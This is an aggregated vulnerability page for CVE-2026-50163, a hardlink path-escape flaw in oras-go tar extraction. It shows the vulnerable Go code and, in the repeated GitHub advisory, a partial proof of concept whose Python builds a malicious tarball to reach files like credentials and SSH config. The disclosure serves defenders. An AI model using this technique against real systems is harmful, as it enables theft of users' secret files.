CVE-2026-50163
oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.1
oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.
- Record
CVE-2026-50163- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - Weakness
- CWE-22, CWE-59
- Updated
- 2026-11-02
EUVDEUVD-2026-45297
7.1
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.
- Record
EUVD-2026-45297- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-fxhp-mv3v-67qp
7.1
`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution
Root cause
The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:
func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION
}
if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", err
}
return target, nil // <-- returns the ORIGINAL target, not the validated path
}
The caller for TypeLink hardlinks then does:
case tar.TypeLink:
var target string
if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
err = os.Link(target, filePath)
}
os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:
oldpath and newpath are interpreted relative to the current working directory of the calling process.
So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.
Attack
An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:
- A regular file:
payload.tar.gz/README.txt. - A hardlink entry:
Typeflag=TypeLink,Name=payload.tar.gz/evil_cwd_link,Linkname="victim.secret"(relative).
and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).
When a victim runs oras pull (or any Go code using content.File), the extraction:
- Validates
payload.tar.gz/evil_cwd_link— passes. - Calls
ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):path = filepath.Join(filepath.Dir(filePath), "victim.secret")=<extract_base>/payload.tar.gz/victim.secret→ inside base → validation passes.- Returns
target = "victim.secret"(NOTpath).
- Calls
os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link"). link(2)resolves relativeoldname="victim.secret"against process CWD → creates a hardlink inside the extract tree pointing to<invoker_CWD>/victim.secret.
The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.
Proof of Concept
Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).
Reproduction script (standalone, ~50 lines) attached. Summary of key steps:
# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret
# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
info.uid = os.getuid(); info.gid = os.getgid()
t.addfile(info, io.BytesIO(c))
link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
link.type = tarfile.LNKTYPE
link.linkname = "victim.secret" # RELATIVE
link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
t.addfile(link)
'
# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ...…
- Record
GHSA-fxhp-mv3v-67qp- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - Weakness
- CWE-22, CWE-59
- Updated
- 2026-11-02
NVD
7.1
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.
- Record
CVE-2026-50163- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - Weakness
- CWE-22, CWE-59
- Updated
- 2026-11-02
OSV
7.1
oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.
- Record
CVE-2026-50163- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - Weakness
- CWE-22, CWE-59
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-50163
7.1
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.
- Record
DEBIAN-CVE-2026-50163- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
Show 15 moreShow less
OSVGHSA-fxhp-mv3v-67qp
7.1
`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution
Root cause
The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:
func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION
}
if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", err
}
return target, nil // <-- returns the ORIGINAL target, not the validated path
}
The caller for TypeLink hardlinks then does:
case tar.TypeLink:
var target string
if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
err = os.Link(target, filePath)
}
os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:
oldpath and newpath are interpreted relative to the current working directory of the calling process.
So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.
Attack
An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:
- A regular file:
payload.tar.gz/README.txt. - A hardlink entry:
Typeflag=TypeLink,Name=payload.tar.gz/evil_cwd_link,Linkname="victim.secret"(relative).
and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).
When a victim runs oras pull (or any Go code using content.File), the extraction:
- Validates
payload.tar.gz/evil_cwd_link— passes. - Calls
ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):path = filepath.Join(filepath.Dir(filePath), "victim.secret")=<extract_base>/payload.tar.gz/victim.secret→ inside base → validation passes.- Returns
target = "victim.secret"(NOTpath).
- Calls
os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link"). link(2)resolves relativeoldname="victim.secret"against process CWD → creates a hardlink inside the extract tree pointing to<invoker_CWD>/victim.secret.
The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.
Proof of Concept
Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).
Reproduction script (standalone, ~50 lines) attached. Summary of key steps:
# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret
# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
info.uid = os.getuid(); info.gid = os.getgid()
t.addfile(info, io.BytesIO(c))
link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
link.type = tarfile.LNKTYPE
link.linkname = "victim.secret" # RELATIVE
link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
t.addfile(link)
'
# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ...…
- Record
GHSA-fxhp-mv3v-67qp- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - Weakness
- CWE-22, CWE-59
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-50163
7.1
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.
- Record
UBUNTU-CVE-2026-50163- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
OSVGO-2026-5880 No score
Hardlink path traversal during tar extraction in oras.land/oras-go
Hardlink path traversal during tar extraction in oras.land/oras-go
- Record
GO-2026-5880- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11297-1 No score
oras-1.3.3-2.1 on GA media
These are all security issues fixed in the oras-1.3.3-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11297-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11575-1 No score
helm-4.2.4-1.1 on GA media
These are all security issues fixed in the helm-4.2.4-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11575-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11676-1 No score
trivy-0.74.0-2.1 on GA media
These are all security issues fixed in the trivy-0.74.0-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11676-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21551-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w
- GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv
- GO-2026-5048 GHSA-mx64-mj3q-7prj
- GO-2026-5051
- GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8
- GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp
- GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963
- GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49
- GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835
- GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px
- GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7
- GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q
- GO-2026-5309 GHSA-c3wq-j5vh-68rc
- GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp
- GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96
- GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g
- GO-2026-5408 GHSA-gx7w-56w6-g48x
- GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx
- GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr
- GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j
- GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88
- GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9
- GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6
- GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g
- GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475
- GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j
- GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj
- GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w
- GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7
- GO-2026-5569 GHSA-q76j-gcg9-vxc6
- GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv
- GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8
- GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6
- GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2
- GO-2026-5606 GHSA-r46f-3rpw-hxrv
- GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh
- GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v
- GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg
- GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5
- GO-2026-5693 GHSA-w5pp-99ch-qj29
- GO-2026-5730 GHSA-wwhq-w58m-w29c
- GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5
- GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857
- GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg
- GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2
- GO-2026-5774 GHSA-3fxj-6jh8-hvhx
- GO-2026-5775 GHSA-9g5q-2w5x-hmxf
- GO-2026-5777 GHSA-rjr7-jggh-pgcp
- GO-2026-5781
- GO-2026-5841 GHSA-259r-337f-4rfw
- GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv
- GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp
- GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7
- GO-2026-5884 GHSA-vh4v-2xq2-g5cg
- GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w
- GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8
- GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876
- GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c
- GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772
- GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm
- GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4
- GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8
- GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4
- GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8
- GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v
- GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg
- GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6
- GO-2026-6061 GHSA-hrxh-6v49-42gf
- GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q
- GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf
- GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5
- GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p
- GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26
- GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m
- GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2
- GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh
- GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6
- GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89
- GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj
- GO-2026-6073 CVE-2026-58435…
- Record
openSUSE-SU-2026:21551-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21801-1 No score
Security update for trivy
This update for trivy fixes the following issues:
- CVE-2026-24122: github.com/sigstore/cosign/v2/pkg/cosign: improper validation of certificates that outlive expired CA certificates (bsc#1258543).
- CVE-2026-37236: github.com/grpc-ecosystem/grpc-gateway/v2/runtime: client can override the HTTP method of a POST request through the X-HTTP-Method-Override header and bypass established access control (bsc#1278002).
- CVE-2026-41178: go.opentelemetry.io/otel/baggage, go.opentelemetry.io/otel/propagation: no rejection of raw-length headers in baggage parsing allows for DoS via oversized inputs (bsc#1276745).
- CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1278702).
- CVE-2026-56854,CVE-2026-56855,CVE-2026-78662: golang.org/x/crypto/ssh: authentication bypass and deadlocks in the crypto/ssh library (bsc#1278624).
- CVE-2026-84303: github.com/grpc/grpc-go: xDS RBAC HTTP filter implementation issue allows for bypass of authorization policies via mixed-case or canonical-case header matches (bsc#1279390).
- CVE-2026-84304: github.com/grpc/grpc-go: heap memory exhaustion via HTTP/2 DATA frame fragmentation (bsc#1279395).
- CVE-2026-84445: google.golang.org/grpc: DoS via crash due to missing
:authorityandHostheaders in gRPC-Go xDS servers (bsc#1279392).
- Record
openSUSE-SU-2026:21801-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21983-1 No score
Security update for helm
This update for helm fixes the following issues:
- CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE (bsc#1265758).
- CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin (bsc#1261939).
- CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin provenance verification (bsc#1261935).
- CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart (bsc#1261938).
- CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).
- CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled configuration (bsc#1265428).
- CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to exfiltrate credentials and refresh tokens (bsc#1270127).
- CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).
- CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).
- CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).
- CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families (bsc#1281426).
- CVE-2026-56855: golang.org/x/crypto/ssh: prevent DoS on deadlocked established channel (bsc#1281426).
- CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).
- CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).
- CVE-2026-78662: golang.org/x/crypto/ssh: prevent DoS on deadlocked undecided channel (bsc#1281426).
- CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass allows log telemetry interception and alteration (bsc#1281468).
- CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission (bsc#1281469).
- CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network probing (bsc#1281112).
- gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation (bsc#1276514).
- Record
openSUSE-SU-2026:21983-1- Updated
- 2026-11-02
OSVROOT-APP-GOBINARY-CVE-2026-50163 No score
CVE-2026-50163 in oras.land/oras-go/v2 - Patched by Root
Root has patched CVE-2026-50163 in the oras.land/oras-go/v2 package for Root:Go. Multiple fixed versions available.
- Record
ROOT-APP-GOBINARY-CVE-2026-50163- Updated
- 2026-11-02
OSVSUSE-SU-2026:23216-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w
- GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv
- GO-2026-5048 GHSA-mx64-mj3q-7prj
- GO-2026-5051
- GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8
- GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp
- GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963
- GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49
- GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835
- GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px
- GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7
- GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q
- GO-2026-5309 GHSA-c3wq-j5vh-68rc
- GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp
- GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96
- GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g
- GO-2026-5408 GHSA-gx7w-56w6-g48x
- GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx
- GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr
- GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j
- GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88
- GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9
- GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6
- GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g
- GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475
- GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j
- GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj
- GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w
- GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7
- GO-2026-5569 GHSA-q76j-gcg9-vxc6
- GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv
- GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8
- GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6
- GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2
- GO-2026-5606 GHSA-r46f-3rpw-hxrv
- GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh
- GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v
- GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg
- GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5
- GO-2026-5693 GHSA-w5pp-99ch-qj29
- GO-2026-5730 GHSA-wwhq-w58m-w29c
- GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5
- GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857
- GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg
- GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2
- GO-2026-5774 GHSA-3fxj-6jh8-hvhx
- GO-2026-5775 GHSA-9g5q-2w5x-hmxf
- GO-2026-5777 GHSA-rjr7-jggh-pgcp
- GO-2026-5781
- GO-2026-5841 GHSA-259r-337f-4rfw
- GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv
- GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp
- GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7
- GO-2026-5884 GHSA-vh4v-2xq2-g5cg
- GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w
- GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8
- GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876
- GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c
- GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772
- GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm
- GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4
- GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8
- GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4
- GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8
- GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v
- GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg
- GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6
- GO-2026-6061 GHSA-hrxh-6v49-42gf
- GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q
- GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf
- GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5
- GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p
- GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26
- GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m
- GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2
- GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh
- GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6
- GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89
- GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj
- GO-2026-6073 CVE-2026-58435…
- Record
SUSE-SU-2026:23216-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:23227-1 No score
Security update for govulncheck-vulndb
